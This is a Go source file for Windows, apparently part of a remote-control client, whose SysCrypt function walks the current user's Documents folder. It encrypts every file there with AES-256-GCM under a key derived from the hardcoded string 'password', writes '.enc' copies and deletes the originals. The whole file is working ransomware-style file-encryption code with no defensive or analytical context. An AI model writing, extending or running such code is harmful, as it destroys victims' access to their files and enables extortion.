//go:build windows package client import ( "crypto/aes" "crypto/cipher" "crypto/rand" "crypto/sha256" "fmt" "io" "os" "path/filepath" "strings" "golang.org/x/sys/windows" ) const cryptPassword = "password" // documentsDir returns the current user's Documents folder path via the // Windows SHGetKnownFolderPath API (FOLDERID_Documents). func documentsDir() (string, error) { path, err := windows.KnownFolderPath(windows.FOLDERID_Documents, 0) if err != nil { // Fall back to USERPROFILE\Documents if up := os.Getenv("USERPROFILE"); up != "" { return filepath.Join(up, "Documents"), nil } return "", fmt.Errorf("cannot resolve Documents folder: %w", err) } return path, nil } // deriveKey returns a 32-byte AES-256 key from the hardcoded password via SHA-256. func deriveKey(password string) []byte { sum := sha256.Sum256([]byte(password)) return sum[:] } // encryptFile encrypts src in-place with AES-256-GCM, writing src+".enc" and // deleting the original. The 12-byte nonce is prepended to the ciphertext. func encryptFile(path string, key []byte) error { plaintext, err := os.ReadFile(path) if err != nil { return err } block, err := aes.NewCipher(key) if err != nil { return err } gcm, err := cipher.NewGCM(block) if err != nil { return err } nonce := make([]byte, gcm.NonceSize()) if _, err := io.ReadFull(rand.Reader, nonce); err != nil { return err } ciphertext := gcm.Seal(nonce, nonce, plaintext, nil) dst := path + ".enc" if err := os.WriteFile(dst, ciphertext, 0600); err != nil { return err } return os.Remove(path) } // SysCrypt walks the user's Documents folder and AES-256-GCM-encrypts every // file (skipping files already ending in ".enc"). Returns a summary string. func SysCrypt() string { docsDir, err := documentsDir() if err != nil { return "sys_crypt error: " + err.Error() } key := deriveKey(cryptPassword) var encrypted, skipped, failed int var errs []string err = filepath.WalkDir(docsDir, func(path string, d os.DirEntry, walkErr error) error { if walkErr != nil || d.IsDir() { return nil } if strings.HasSuffix(path, ".enc") { skipped++ return nil } if err := encryptFile(path, key); err != nil { failed++ if len(errs) < 5 { errs = append(errs, fmt.Sprintf("%s: %v", filepath.Base(path), err)) } return nil } encrypted++ return nil }) if err != nil { return fmt.Sprintf("sys_crypt walk error: %v", err) } summary := fmt.Sprintf("sys_crypt done — encrypted: %d skipped: %d failed: %d", encrypted, skipped, failed) if len(errs) > 0 { summary += "\nErrors: " + strings.Join(errs, "; ") } return summary }